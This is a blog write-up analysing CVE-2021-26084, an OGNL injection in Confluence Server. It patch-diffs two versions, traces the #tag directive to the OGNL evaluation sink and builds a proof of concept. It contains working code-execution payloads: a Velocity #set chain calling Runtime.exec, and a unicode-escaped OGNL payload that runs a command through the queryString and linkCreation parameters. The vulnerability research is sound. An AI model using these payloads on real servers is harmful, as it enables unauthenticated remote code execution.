Home Studying old CVEs: Part 1 - CVE-2021-26084
Post
Cancel

Studying old CVEs: Part 1 - CVE-2021-26084

In this series of blogposts I will patch diff, analyze and craft exploits for old CVEs.

CVE-2021-26084

Details and Information gathering

CVE-2021-26084

1
2
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.

So from the definition vulnerable softwares are Confluence Server and Confluence Data Center

Vulnerable versions are,

The affected versions are before version

versions < 6.13.23,

6.14.0 < versions < 7.4.11,

7.5.0 < versions < 7.11.6,

7.12.0 < versions < 7.12.5

We can start by finding the software and downloading it.

Further looking, we can actually see the notes we have created previously in this security bulletin below

https://jira.atlassian.com/browse/CONFSERVER-67940

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Affected versions:

version < 6.13.23
6.14.0 ≤ version < 7.4.11
7.5.0 ≤ version < 7.11.6
7.12.0 ≤ version < 7.12.5

Fixed versions:

6.13.23
7.4.11
7.11.6
7.12.5
7.13.0  

Lastly the advisory below is very clear and pretty much explains everything we need.

https://confluence.atlassian.com/doc//images/studying_old_cves_part1/confluence-security-advisory-2021-08-25-1077906215.html

That’s enough information gathering, let’s jump into downloading the software.

Setting up the local environment

First setups in this series will be detailed. Expect less details in environment setups in the following episodes.

I used a ubuntu 22.04 x64 vm.

Downloaded the software from the link below.

https://www.atlassian.com/software/confluence/download-archives

Fixed version,

Vulnerable version,

Let’s download both. I picked the versions that adjacent to each other so diffing would be easy.

I put the connector here like mentioned above

I installed mysql server

Following configuration was needed in order to configure the application

1
2
mysql> CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;

Add following line to mysqld config

transaction-isolation=READ-COMMITTED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@morph3-virtual-machine:/home/morph3/Desktop# cat /etc/mysql/mysql.conf.d/mysqld.cnf
#
# The MySQL database server configuration file.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html

# Here is entries for some specific programs
# The following values assume you have at least 32M ram

[mysqld]
#
# * Basic Settings
#
user		= mysql
# pid-file	= /var/run/mysqld/mysqld.pid
# socket	= /var/run/mysqld/mysqld.sock
# port		= 3306
# datadir	= /var/lib/mysql,
transaction-isolation=READ-COMMITTED

We have a successfull connection now !

Patch Diffing

We can see some changes in some of the .VM files. VM files are Apache Velocity Template files. We know that this vulnerability is an OGNL injection. Nothing much changed between versions 7.12.5 and 7.12.4 so we are on a good track here.

The way I visualized commits via github desktop is that I initially committed the 7.12.4 version as an initial commit and then I basically copy pasted the other version on top of it (7.12.5) as a secondary commit so it showed the differences between them.

There are also many jar files in the confluence base. There are couple of methods to diff them.

We can use intellij to diff them,

Or we can follow the method introduced in s1r1us’s brokenconflu blogpost.

I found this one easier to work with so let’s take a look.

1
find ./atlassian-/images/studying_old_cves_part1/confluence-8.5.1/confluence/WEB-INF/lib/ -type f -name "*confluence*" -exec find {} -type f -name "*.jar" \; | xargs -I {} jadx -d 8.5.1 {} --comments-level none
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Sun 5 | 15:56]
morph3 ➜ studying-old-cves/ λ mkdir /images/studying_old_cves_part1/confluence-repo
[Sun 5 | 15:56]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 15:56 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 15:56 ..
[Sun 5 | 15:56]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ λ git init .
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
Initialized empty Git repository in /mnt/c/Users/melih/Desktop/studying-old-cves//images/studying_old_cves_part1/confluence-repo/.git/

Let’s copy the jars and check the diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:04 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 15:56 ..
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:04 .git

[Sun 5 | 16:05]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ cp -r ..//images/studying_old_cves_part1/confluence-jars/7.12.4/* .

[Sun 5 | 16:11]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master✗] λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:08 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 15:56 ..
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:04 .git
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:08 resources
drwxrwxrwx 1 morph3 morph3 4.0K Nov  5 16:11 sources

[Sun 5 | 16:11]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master✗] λ git add *

[Sun 5 | 16:16]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ git commit -m "version 7.12.4"
...
...
 create mode 100644 sources/org/springframework/aop/framework/autoproxy/AbstractAutoProxyCreator.java
 create mode 100644 sources/org/springframework/orm/hibernate/support/BlobInputStreamType.java
 create mode 100644 sources/org/springframework/orm/hibernate/support/SpoolingBlobInputStreamType.java

[Sun 5 | 16:25]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ

Now that we created the initial version let’s copy version 7.12.5 to the same directory.

We can see that there are no changes in sources files, which are actually the important ones.

As there no changes in the jar files, we can continue investigating other changes.

There are only 3 changes that seem important.

1
2
3
confluence\admin\editdailybackupsettings.vm
confluence\pages\createpage-entervariables.vm
confluence\template\custom\content-editor.vm

One of them is under admin and we know that this is a preauth RCE vulnerability so it is unlikely going to include the sinkhole.

File below is the one that stands out

confluence\pages\createpage-entervariables.vm,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
            <div class="smallfont view-template">

                <div class="wiki-content">$action.renderedTemplateContent</div>

            </div>

  

            <form name="filltemplateform" method="POST" action="doenterpagevariables.action">

                #form_xsrfToken()

                #tag ("Hidden" "name='queryString'" "value='$!queryString'")

                #tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")

                #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")

I visited the template,

Luckily form action doenterpagevariables.action responds to GET requests as well.

Following rabbit and drowning in their holes

In the patch diff,

#tag ("Hidden" "name='queryString'" "value='$!queryString'")

$! in the patch diff caught my attention and I did a little research. According to this stackoverflow post

1
When the form is initially loaded and $email still has no value, **an empty string** will be output **instead of "$email"**.

! basically tells the renderer to reflect it’s value and it will reflect as an empty string if there is nothing supplied

According to VTL reference

  • Silent Formal notation: $!{mud-Slinger_9}

https://people.apache.org/~henning/velocity/html/ch04s05.html

Nonetheless, I’m still confused at the difference between $!{email} and $!email.

Enough reading docs, like what a real hacker would do I furiously started clicking on things. Clicking on the next button shown in the previous screen shot forges a request like below,

2 variables caught my attention, queryString and linkCreation. Those were the ones that have been changed in the patch.

It didn’t like the templateId parameter being $pageTemplate.id so I changed it with a random integer and it worked fine

Let’s dive into velocity template engine and investigate things a bit

Playing with Velocity templates locally and java development hell

I installed maven with

sudo apt install maven

Created a sample project.

mvn archetype:generate -DgroupId=com.example -DartifactId=SampleProject -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false

rant alert

Command above took like a minute to complete. It printed bazilion many lines to the terminal.

I HATE the current state of the software engineering. This is just a sample starter project. Why install shit load of packages, dependencies and make shit ton of configurations. This should have taken at most 5 secs. Why do I have to wait a full minute for an example starter project structure just for it to be READY.

We can build our project using,

mvn package

and lastly we can execute the generated jar

1
2
3
morph3 ➜ target/ λ java -cp SampleProject-1.0-SNAPSHOT.jar com.example.App
Hello World!

rant alert

I had to ofc visit https://central.sonatype.com/artifact/velocity/velocity like a caveman find the dependency name and it’s latest version and copy paste it into my pom.xml file as if we are living in 1943. Oh and look they have maven format as well so we can just copy and paste !!!!!

rant alert

After some trial and error I added this block below to my pom.xml file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<build>
    <plugins>
        <plugin>
        <groupId>org.codehaus.mojo</groupId>
            <artifactId>exec-maven-plugin</artifactId>
                <version>3.1.0</version>
                    <configuration>
                        <mainClass>
                            com.example.App
                        </mainClass>
            <!-- Specify the main class for your project -->
                    </configuration>
        </plugin>
    </plugins>
</build>

I was able to compile and run it with

1
mvn clean compile exec:java

App.java,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.exception.ParseErrorException;
import org.apache.velocity.exception.MethodInvocationException;
import org.apache.velocity.exception.VelocityException;
import java.io.StringWriter;

public class App {
    public static void main(String[] args) {
        // Initialize the VelocityEngine
        VelocityEngine velocityEngine = new VelocityEngine();
        try {
            // Load the Velocity template
            velocityEngine.init();
            VelocityContext context = new VelocityContext();
            context.put("name", "John");
            // Render the template
            StringWriter writer = new StringWriter();
            velocityEngine.mergeTemplate("sample-template.vm", "UTF-8", context, writer);
            // Print the rendered template
            System.out.println(writer.toString());
        } catch ( VelocityException e) {
            e.printStackTrace();
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
morph3 ➜ SampleProject/ λ mvn clean compile exec:java

[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------< com.example:SampleProject >----------------------
[INFO] Building SampleProject 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ SampleProject ---
[INFO] Deleting /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/target
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ SampleProject ---
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] skip non existing resourceDirectory /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/src/main/resources
[INFO]
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ SampleProject ---
[INFO] Changes detected - recompiling the module!
[WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent!
[INFO] Compiling 1 source file to /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/target/classes
[INFO]
[INFO] --- exec-maven-plugin:3.1.0:java (default-cli) @ SampleProject ---
Hello John
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  1.351 s
[INFO] Finished at: 2023-11-07T23:56:08+03:00
[INFO] ------------------------------------------------------------------------

[Tue 7 | 23:56]
morph3 ➜ SampleProject/ λ

Getting the first results

Let’s play with it a little now

I bumped into this nice blogpost while doing the research,

1
What else can we do with Velocity? For example, can we access the operating system from the Velocity template while it has been rendered? The answer is yes. Velocity supports directives. One of them is the **#set** directive. You can’t create and execute plain Java code directly, however if you know Java Reflection and obtain Classes and Constructors you can implement some interesting logic and constructs.

I was actually trying to do the same thing

1
2
3
4
Hello $name

#set($result = 7 * 7)
echo $result

Output,

1
2
3
Hello John

echo 49

Code execution

1
2
3
4
5
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("calc.exe"))
#set($null=$process.waitFor() )

Realization ??

Okay well this is a velocity template injection but why the vulnerability is an OGNL injection in the CVE ?? and why is it so different than what we have already ? What’s going on ?

In velocity template language we need #set() keyword to evaluate things but in the cve queryString and linkCreation variables were referenced by just $s. They don’t have the set ??

Very good blogpost.

https://secops.group/ognl-injection-decoded/

1
2
3
4
5
#tag ("Hidden" "name='queryString'" "value='$!queryString'")

#tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")

#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")

Notice the pattern #tag($linkCreation)

It’s very similar to what we have earlier #set($result = 7 * 7)

Looks like items in #tag s are evaluated as expressions !!

Let’s dive even deeper into this.

Debugging the Confluence

Add the following to the file /opt/atlassian/confluence/bin/setenv.sh as shown in the link

1
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ${CATALINA_OPTS}"

Now it listens on port 5005. Let’s debug it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
morph3@morph3-virtual-machine:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5005            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8090                 :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:40690           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -                   
udp6       0      0 :::5353                 :::*                                -                   
udp6       0      0 :::47054                :::*                                -                   

Run -> Attach to process

And we are connected

Now in order to set break points we need to find a way to decompile jar files in intellij.

https://intellij-support.jetbrains.com/hc/en-us/community/posts/6061217524626-How-to-decompile-and-debug-a-jar-file-

After that we can see the decompiled output of jar files

Let’s put some break points here and there and send requests to the application

And we hit a breakpoint. Nice !

Directives .. What are they ?

https://people.apache.org/~henning/velocity/html/ch05.html

1
As described in Chapter 3.1, Velocity Directives are part of either single or multi-line statements and are preceded by a hash sign (#). While the hash sign is technically not part of the directive, we will still speak about the #if or #set directive.

Example,

1
2
3
4
5
6
7
8
9
10
11
12
5.1 The #set directive
The #set directive is used for setting the value of a reference. It is used in a single-line statement.

A value can be assigned to either a variable reference or a property reference.

Example 5.1. Value assignment using the set directive

## Assigning a variable value
#set( $fruit = "apple" )

## Assigning a property value
#set( $customer.Favourite = $fruit )

One can implement custom directives as well.

https://velocity.apache.org/engine/2.3/configuration.html#custom-directives

1
coma separated list of custom directives class names, which must inherit from org.apache.velocity.runtime.directive.Directive.

There is an example question here as well.

https://stackoverflow.com/questions/159292/how-do-i-create-a-custom-directive-for-apache-velocity

Was the #tag custom directive ? Where is it if so ?

I asked chat gpt and this was it’s answer. The answer was actually correct. #tag is something that confluence developers have implemented, it is something custom.

An example custom directive implementation

Let’s find it. Grepping for directive and velocity at the same time reveals the configuration file.

./confluence/WEB-INF/classes/velocity.properties

1
2
3
4
5
6
7
morph3@morph3-virtual-machine:~/Desktop/atlassian-/images/studying_old_cves_part1/confluence-7.12.4$ grep -i -R "directive" | grep -i "velocity"

...
confluence/WEB-INF/classes/velocity.properties:userdirective=com.opensymphony.webwork.views.velocity.ParamDirective,com.opensymphony.webwork.views.velocity.TagDirective,com.opensymphony.webwork.views.velocity.BodyTagDirective,com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective, com.atlassian.confluence.setup.velocity.ParamDirective, \
confluence/WEB-INF/classes/velocity.properties:com.atlassian.confluence.setup.velocity.RenderVelocityTemplateDirective,com.atlassian.confluence.setup.velocity.TrimDirective, com.atlassian.confluence.setup.velocity.HtmlSafeDirective, com.atlassian.confluence.setup.velocity.SkipLinkDirective, com.atlassian.confluence.setup.velocity.DisableAntiXssDirective, \
..

Configuration and implemented custom directives.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...

userdirective=

com.opensymphony.webwork.views.velocity.ParamDirective
com.opensymphony.webwork.views.velocity.TagDirective
com.opensymphony.webwork.views.velocity.BodyTagDirective
com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective
com.atlassian.confluence.setup.velocity.ParamDirective
com.atlassian.confluence.setup.velocity.RenderVelocityTemplateDirective
com.atlassian.confluence.setup.velocity.TrimDirective
com.atlassian.confluence.setup.velocity.HtmlSafeDirective
com.atlassian.confluence.setup.velocity.SkipLinkDirective
com.atlassian.confluence.setup.velocity.DisableAntiXssDirective
com.atlassian.confluence.setup.velocity.ProfilingParseDirective

com.opensymphony.webwork.views.velocity.TagDirective is the thing we are looking for !

This is the class where #tag has been implemented

1
2
3
4
morph3@morph3-virtual-machine:~/Desktop/atlassian-/images/studying_old_cves_part1/confluence-7.12.4$ grep -R "TagDirective"
grep: lib/jasper.jar: binary file matches
grep: confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar: binary file matches
confluence/WEB-INF/classes/velocity.properties:userdirective=com.opensymphony.webwork.views.velocity.ParamDirective,com.opensymphony.webwork.views.velocity.TagDirective,com.opensymphony.webwork.views.velocity.BodyTagDirective,com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective, com.atlassian.confluence.setup.velocity.ParamDirective, \

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.opensymphony.webwork.views.velocity;

public class TagDirective extends AbstractTagDirective {
    public TagDirective() {
    }

    public String getName() {
        return "tag";
    }

    public int getType() {
        return 2;
    }
}


Class AbstractTagDirective has the full implementation.

I hit a break point at that class and we have a very cool call stack including our queryString

Finding the sinkhole

render method of AbstractTagDirective calls applyAttributes. applyAttributes creates an OgnlValueStack andOgnlContext. It sets the properties by calling OgnlUtil.setProperty(key, value, object, ognlContext).

This is the sink hole. If template is not formed properly, an ognl injection can occur and so that was the case in this CVE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public abstract class AbstractTagDirective extends Directive {
	...

    public boolean render(InternalContextAdapter contextAdapter, Writer writer, Node node) throws IOException, ResourceNotFoundException, ParseErrorException, MethodInvocationException {

			Object object = this.createObject(node.jjtGetChild(0));

			...

			Object currentParent = contextAdapter.get("parent");
			Object currentTag = contextAdapter.get("tag");

            boolean var11;
            try {
                contextAdapter.put("parent", currentTag);
                contextAdapter.put("tag", object);
                InternalContextAdapter subContextAdapter = new WrappedInternalContextAdapter(contextAdapter);
                if (object instanceof ParamTag.Parametric) {
                    Map params = ((ParamTag.Parametric)object).getParameters();
                    if (params != null) {
                        params.clear();
                    }
                }


			this.applyAttributes(contextAdapter, node, object);
			if (!(object instanceof Tag)) {
			...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    private void applyAttributes(InternalContextAdapter context, Node node, Object object) throws ParseErrorException, MethodInvocationException {
        Map propertyMap = this.createPropertyMap(context, node);
        if (propertyMap != null && propertyMap.size() != 0) {
            OgnlValueStack stack = ActionContext.getContext().getValueStack();
            Map ognlContext = Ognl.createDefaultContext(object);

            String key;
            Object value;
            for(Iterator iterator = propertyMap.entrySet().iterator(); iterator.hasNext(); OgnlUtil.setProperty(key, value, object, ognlContext)) {
                Map.Entry entry = (Map.Entry)iterator.next();
                key = entry.getKey().toString();
                value = entry.getValue();
                if (object instanceof ParamTag.Parametric && key.startsWith("params.")) {
                    value = stack.findValue(value.toString());
                }
            }

        }
    }

After applying attributes, object is updated.

currentTag is attached to the object using ((Tag)object).setParent((Tag)currentTag);. It gets processed boolean var10 = this.processTag(pageContext, (Tag)object, subContextAdapter, writer, node, bodyNode);

Expression evaluation happens after processTag

And its written to the html adapter by contextAdapter.put("tag", currentTag);

https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionContext.html

1
2
3
4
5
6
public void put(String key,
                Object value)
Stores a value in the current ActionContext. The value can be looked up using the key.
Parameters:
key - the key of the value.
value - the value to be stored.

ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);

Writer has the rendered html and it stores it in the key com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER. Which I assume it’s some kind of a helper for rendering velocity templates. No need to dig deeper on that.

ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);

It will have the html with evaluated expression.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
                this.applyAttributes(contextAdapter, node, object);
                if (!(object instanceof Tag)) {
                    boolean var18 = true;
                    return var18;
                }

                PageContext pageContext = ServletActionContext.getPageContext();
                if (currentTag instanceof Tag) {
                    ((Tag)object).setParent((Tag)currentTag);
                }

                try {
                    ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);
                    boolean var10 = this.processTag(pageContext, (Tag)object, subContextAdapter, writer, node, bodyNode);
                    return var10;
                } catch (Exception var15) {
                    log.error("Error processing tag: " + var15, var15);
                    var11 = false;
                }
            } finally {
                if (currentParent != null) {
                    contextAdapter.put("parent", currentParent);
                } else {
                    contextAdapter.remove("parent");
                }

                if (currentTag != null) {
                    contextAdapter.put("tag", currentTag);
                } else {
                    contextAdapter.remove("tag");
                }

            }

            return var11;
        }
    }


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
protected boolean processTag(PageContext pageContext, Tag tag, InternalContextAdapter context, Writer writer, Node node, Node bodyNode) throws ParseErrorException, IOException, MethodInvocationException, ResourceNotFoundException {
        tag.setPageContext(pageContext);
        Writer writer = pageContext.getOut();

        try {
            Map paramMap = null;
            ParamTag.Parametric parameterizedTag = null;
            if (tag instanceof ParamTag.Parametric) {
                parameterizedTag = (ParamTag.Parametric)tag;
                paramMap = parameterizedTag.getParameters();
            }

            int result = tag.doStartTag();
            if (paramMap != null) {
                parameterizedTag.getParameters().putAll(paramMap);
            }

            if (result != 0) {
                if (tag instanceof BodyTag) {
                    BodyTag bodyTag = (BodyTag)tag;
                    if (result == 2) {
                        BodyContent bodyContent = pageContext.pushBody();
                        writer = bodyContent.getEnclosingWriter();
                        bodyTag.setBodyContent(bodyContent);
                    }

                    bodyTag.doInitBody();
                }

                boolean done = false;

                while(!done) {
                    if (bodyNode != null) {
                        bodyNode.render(context, writer);
                    }

                    if (tag instanceof IterationTag) {
                        IterationTag iterationTag = (IterationTag)tag;
                        done = iterationTag.doAfterBody() != 2;
                    } else {
                        done = true;
                    }
                }

                if (tag instanceof BodyTag) {
                    if (result == 2) {
                        writer = pageContext.popBody();
                    } else {
                        ((BodyTag)tag).setBodyContent((BodyContent)null);
                    }
                }
            }

            tag.doEndTag();
            return true;
        } catch (JspException var12) {
            String gripe = "Fatal exception caught while processing tag,  " + tag.getClass().getName();
            log.warn(gripe, var12);
            String methodName = "-";
            throw new MethodInvocationException(gripe, var12, methodName, "", 0, 0);
        }
    }


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    public Object findValue(String expr, Class asType) {
        try {
            if (expr == null) {
                return null;
            } else {
                if (this.overrides != null && this.overrides.containsKey(expr)) {
                    expr = (String)this.overrides.get(expr);
                }

                return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
            }
        } catch (OgnlException var4) {
            return null;
        } catch (Exception var5) {
            LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", var5);
            return null;
        }
    }
1
2
3
4
5
6
7
8
9
10
11
    public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
        OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
        Object result = ((Node)tree).getValue(ognlContext, root);
        if (resultType != null) {
            result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
        }

        return result;
    }

Ideally we can hit a breakpoint to OgnlUtil.compile or OgnlValueStack.findValue. Expressions are evaluated there so we can see the call stack starting from the evaluation point.

Let’s put some breakpoints and see the injection in action.

processTag calls doEndTag. doEndTag calls evaluateParams and we endup around Ognl.getValue

Thanks to @MCKSysAr

https://twitter.com/MCKSysAr/status/1728862820429873372

There is a very good explanation here as well

https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/

Crafting the Proof of Concept

There is '$!queryString' in the vulnerable version.

The template is like below

TEMPLATE_BEFORE '$!queryString' TEMPLATE_AFTER

so we need something like

' + <EXPR> + '

+s are needed because we are going to be injecting/appending to the predefined templates.

' + 7*7 + ' should work

However,

We can see that 's are encoded and does not form a valid expr. They are converted to &#39;

Unicode is supported by OGNL

https://github.com/orphan-oss/ognl/blob/d2950d05c949af1e18795a45eebdcd8154cf4706/src/main/jjtree/ognl.jjt#L36

Let’s unicode encode ' using unicode \0027

I had a challenge created around this topicpugb. I was already very familiar with this stuff.

Converting it into unicode forms a valid expression and gets evaluated.

Nice we have a valid injection now!

Payload

I’ve seen some writeups using #{} no idea why they used it while exploiting it tbh.

Exploiting

We can just use the payload used at CVE-2019-11581

CVE-2019-11581

Same payloads have been used in Template/EL injections that is somewhat related to Java, pretty generic payload.

EL Injection

1
2
'+["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwned")+'

1
\u0027\u002b\u005b\u0022\u0063\u006c\u0061\u0073\u0073\u0022\u005d\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0022\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0022\u002c\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u002c\u006e\u0075\u006c\u006c\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0070\u0077\u006e\u0065\u0064\u0022\u0029\u002b\u0027

Final Payload

As you can see both parameters linkCreation and queryString are vulnerable.

Win !!

References

This post is licensed under CC BY 4.0 by the author.